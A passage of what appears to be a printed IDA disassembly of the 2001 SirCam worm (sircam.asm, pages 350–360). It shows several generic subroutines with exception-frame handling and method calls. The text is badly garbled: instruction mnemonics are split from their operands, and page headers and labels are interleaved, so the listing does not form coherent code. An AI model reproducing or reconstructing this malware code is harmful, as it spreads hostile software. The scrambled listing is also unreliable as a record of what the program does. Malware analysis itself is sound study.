inc
inc
dec
jnz
; CODE XREF: sub_40CBE4+9E\030j
byte ptr [ebx], 0Dh
ebx
byte ptr [ebx], 0Ah
ebx
[ebp+var_C]
esi
short loc_40CC68
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40CBE4+7A\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CCC2
loc_40CC26:
loc_40CC47:
loc_40CC68:
loc_40CC92:
loc_40CCA0:
loc_40CCAD:
sub_40CBE4
350
; CODE XREF: CODE:0040CCC0\031j
lea
eax, [ebp+var_18]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -2Ch
sircam.asm
Fri Aug 10 12:42:44 2001
351
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CCBB:
; DATA XREF: sub_40CBE4+1A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CCAD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CCC2:
; DATA XREF: sub_40CBE4+C4\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CCCC
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_40D598+11\031p
; DATA XREF: CODE:0040BAE4\030o
push
mov
add
push
push
push
xor
mov
mov
mov
xor
push
push
push
mov
mov
mov
call
mov
dec
test
jl
inc
xor
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
ecx, ecx
[ebp+var_C], ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_40CD39
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
edx, [eax]
dword ptr [edx+14h]
ebx, eax
ebx
ebx, ebx
short loc_40CD20
ebx
esi, esi
lea
mov
mov
mov
call
mov
mov
call
test
jz
inc
dec
jnz
; CODE XREF: sub_40CCCC+52\031j
ecx, [ebp+var_C]
edx, esi
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
eax, [ebp+var_C]
edx, [ebp+var_8]
sub_406E64
eax, eax
short loc_40CD23
esi
ebx
short loc_40CD00
loc_40CD00:
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40CD20:
; CODE XREF: sub_40CCCC+2F\030j
or
esi, 0FFFFFFFFh
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40CCCC+4E\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CD40
loc_40CD23:
loc_40CD30:
sub_40CCCC
352
; CODE XREF: CODE:0040CD3E\031j
lea
eax, [ebp+var_C]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CD39:
; DATA XREF: sub_40CCCC+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CD30
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CD40:
; DATA XREF: sub_40CCCC+5F\030o
mov
eax, esi
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CD4C
proc near
var_4
arg_0
= dword ptr -4
= dword ptr 8
push
mov
push
push
push
push
mov
mov
mov
mov
mov
mov
mov
call
mov
mov
mov
mov
call
pop
pop
pop
pop
pop
; CODE XREF: sub_40CE7C+69\031p
; sub_40CF2C+25\031p
ebp
ebp, esp
ecx
ebx
esi
edi
[ebp+var_4], ecx
edi, edx
esi, eax
ecx, [ebp+var_4]
edx, edi
eax, esi
ebx, [eax]
dword ptr [ebx+54h]
ecx, [ebp+arg_0]
edx, edi
eax, esi
ebx, [eax]
dword ptr [ebx+24h]
edi
esi
ebx
ecx
ebp
sircam.asm
sub_40CD4C
Fri Aug 10 12:42:44 2001
retn
endp
353
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CD7C
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
push
mov
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; DATA XREF: CODE:0040BAEC\030o
; CODE:0040BC0C\030o
ebp
ebp, esp
ecx
esi
esi, eax
20h
ecx, edx
eax, ds:off_40BD3C
dl, 1
sub_40D940
[ebp+var_4], eax
eax, eax
ebp
offset loc_40CDC4
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, esi
ecx, [eax]
dword ptr [ecx+5Ch]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CDCB
loc_40CDBB:
sub_40CD7C
; CODE XREF: CODE:0040CDC9\031j
mov
eax, [ebp+var_4]
call
sub_402BDC
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CDC4:
; DATA XREF: sub_40CD7C+1D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CDBB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CDCB:
; DATA XREF: sub_40CD7C+3A\030o
pop
esi
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CDD0
proc near
; DATA XREF: CODE:0040BAF0\030o
; CODE:0040BC10\030o
sircam.asm
var_8
var_4
Fri Aug 10 12:42:44 2001
= dword ptr -8
= dword ptr -4
push
mov
add
push
push
xor
mov
mov
mov
xor
push
push
push
mov
mov
call
xor
push
push
push
mov
mov
call
mov
mov
call
sub
lea
mov
xor
call
mov
mov
mov
mov
call
mov
mov
mov
call
xor
pop
pop
pop
mov
push
loc_40CE48:
sub_40CDD0
354
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
ecx, ecx
[ebp+var_8], ecx
ebx, edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_40CE6E
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
sub_40C890
eax, eax
ebp
offset loc_40CE51
dword ptr fs:[eax]
fs:[eax], esp
eax, ebx
sub_40D84C
esi, eax
eax, ebx
sub_40D830
esi, eax
eax, [ebp+var_8]
ecx, esi
edx, edx
sub_4035B0
edx, [ebp+var_8]
ecx, esi
eax, ebx
ebx, [eax]
dword ptr [ebx+4]
edx, [ebp+var_8]
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+2Ch]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CE58
; CODE XREF: CODE:0040CE56\031j
mov
eax, [ebp+var_4]
call
near ptr loc_40C947+5
retn
endp ; sp = -24h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CE51:
; DATA XREF: sub_40CDD0+2B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CE48
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CE58:
; DATA XREF: sub_40CDD0+73\030o
xor
pop
pop
pop
eax, eax
edx
ecx
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
355
fs:[eax], edx
offset loc_40CE75
loc_40CE65:
; CODE XREF: CODE:0040CE73\031j
lea
eax, [ebp-8]
call
sub_4034C8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CE6E:
; DATA XREF: sub_40CDD0+15\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CE65
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CE75:
; DATA XREF: CODE:0040CE60\030o
pop
esi
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CE7C
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
mov
add
push
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
cmp
jz
mov
call
xor
push
push
push
mov
lea
mov
mov
mov
call
mov
mov
mov
call
mov
; DATA XREF: CODE:0040BAF4\030o
; CODE:0040BC14\030o
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
edi
ebx, ebx
[ebp+var_8], ebx
esi, ecx
ebx, edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_40CF1D
dword ptr fs:[eax]
fs:[eax], esp
esi, ebx
short loc_40CF07
eax, [ebp+var_4]
sub_40C890
eax, eax
ebp
offset loc_40CF00
dword ptr fs:[eax]
fs:[eax], esp
ecx, [ebp+var_8]
edx, ebx
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
edx, ebx
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+18h]
edi, eax
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
mov
call
push
mov
mov
mov
call
xor
pop
pop
pop
mov
push
356
edx, ebx
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+44h]
edi
ecx, [ebp+var_8]
edx, esi
eax, [ebp+var_4]
sub_40CD4C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CF07
loc_40CEF7:
; CODE XREF: sub_40CE7C+89\031j
mov
eax, [ebp+var_4]
call
near ptr loc_40C947+5
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CF00:
; DATA XREF: sub_40CE7C+32\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CEF7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CF07:
; CODE XREF: sub_40CE7C+25\030j
; DATA XREF: sub_40CE7C+76\030o
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CF24
loc_40CF14:
sub_40CE7C
; CODE XREF: CODE:0040CF22\031j
lea
eax, [ebp+var_8]
call
sub_4034C8
retn
endp ; sp = -1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CF1D:
; DATA XREF: sub_40CE7C+18\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CF14
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CF24:
; DATA XREF: sub_40CE7C+93\030o
pop
edi
pop
esi
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40CF2C
proc near
push
ebx
push
esi
push
edi
push
ebp
; DATA XREF: CODE:0040BAB4\030o
sircam.asm
sub_40CF2C
Fri Aug 10 12:42:44 2001
mov
mov
mov
mov
mov
mov
call
mov
mov
mov
mov
call
push
mov
mov
mov
call
pop
pop
pop
pop
retn
endp
357
ebp, ecx
esi, edx
ebx, eax
edx, esi
eax, ebx
ecx, [eax]
dword ptr [ecx+18h]
edi, eax
edx, esi
eax, ebx
ecx, [eax]
dword ptr [ecx+44h]
edi
ecx, ebp
edx, esi
eax, ebx
sub_40CD4C
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CF60
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
; DATA XREF: sub_40C900+11\030o
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF4h
xor
ecx, ecx
mov
[ebp+var_C], ecx
mov
[ebp+var_8], edx
mov
[ebp+var_4], eax
xor
eax, eax
push
ebp
push
offset loc_40D004
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebp+var_8]
call
sub_40DEA0
mov
eax, [ebp+var_4]
call
sub_40C890
xor
eax, eax
push
ebp
push
offset loc_40CFDF
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebp+var_4]
mov
edx, [eax]
call
dword ptr [edx+40h]
jmp
short loc_40CFBD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CFA7:
; CODE XREF: sub_40CF60+67\031j
lea
mov
call
edx, [ebp+var_C]
eax, [ebp+var_8]
sub_40DEEC
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
mov
call
edx, [ebp+var_C]
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+34h]
mov
call
test
jz
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40CF60+45\030j
eax, [ebp+var_8]
sub_40DDF4
al, al
short loc_40CFA7
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CFE6
loc_40CFBD:
loc_40CFD6:
sub_40CF60
358
; CODE XREF: CODE:0040CFE4\031j
mov
eax, [ebp+var_4]
call
near ptr loc_40C947+5
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CFDF:
; DATA XREF: sub_40CF60+32\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CFD6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CFE6:
mov
call
xor
pop
pop
pop
mov
push
; DATA XREF: sub_40CF60+71\030o
eax, [ebp-8]
sub_40DEA8
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40D00B
loc_40CFFB:
; CODE XREF: CODE:0040D009\031j
lea
eax, [ebp-0Ch]
call
sub_4034C8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D004:
; DATA XREF: sub_40CF60+14\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CFFB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D00B:
; DATA XREF: CODE:0040CFF6\030o
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40D010
proc near
var_4
= dword ptr -4
push
ebp
; DATA XREF: CODE:0040BAF8\030o
; CODE:0040BC18\030o
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
push
mov
push
mov
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
mov
call
xor
pop
pop
pop
mov
push
ebp, esp
ecx
esi
esi, eax
0FFFFh
ecx, edx
eax, ds:off_40BD3C
dl, 1
sub_40D940
[ebp+var_4], eax
eax, eax
ebp
offset loc_40D05B
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, esi
ecx, [eax]
dword ptr [ecx+68h]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40D062
loc_40D052:
sub_40D010
359
; CODE XREF: CODE:0040D060\031j
mov
eax, [ebp+var_4]
call
sub_402BDC
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D05B:
; DATA XREF: sub_40D010+20\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40D052
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D062:
; DATA XREF: sub_40D010+3D\030o
pop
esi
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40D068
proc near
var_4
= dword ptr -4
push
mov
push
push
push
mov
mov
xor
push
push
push
mov
lea
; DATA XREF: CODE:0040BAFC\030o
; CODE:0040BC1C\030o
ebp
ebp, esp
0
ebx
esi
esi, edx
ebx, eax
eax, eax
ebp
offset loc_40D0B5
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
call
mov
call
mov
mov
mov
call
xor
pop
pop
pop
mov
push
eax, ebx
ecx, [eax]
dword ptr [ecx+1Ch]
eax, [ebp+var_4]
sub_403724
ecx, eax
edx, [ebp+var_4]
eax, esi
sub_40D8BC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40D0BC
loc_40D0AC:
sub_40D068
360
; CODE XREF: CODE:0040D0BA\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D0B5:
; DATA XREF: sub_40D068+E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40D0AC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D0BC:
; DATA XREF: sub_40D068+3F\030o
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
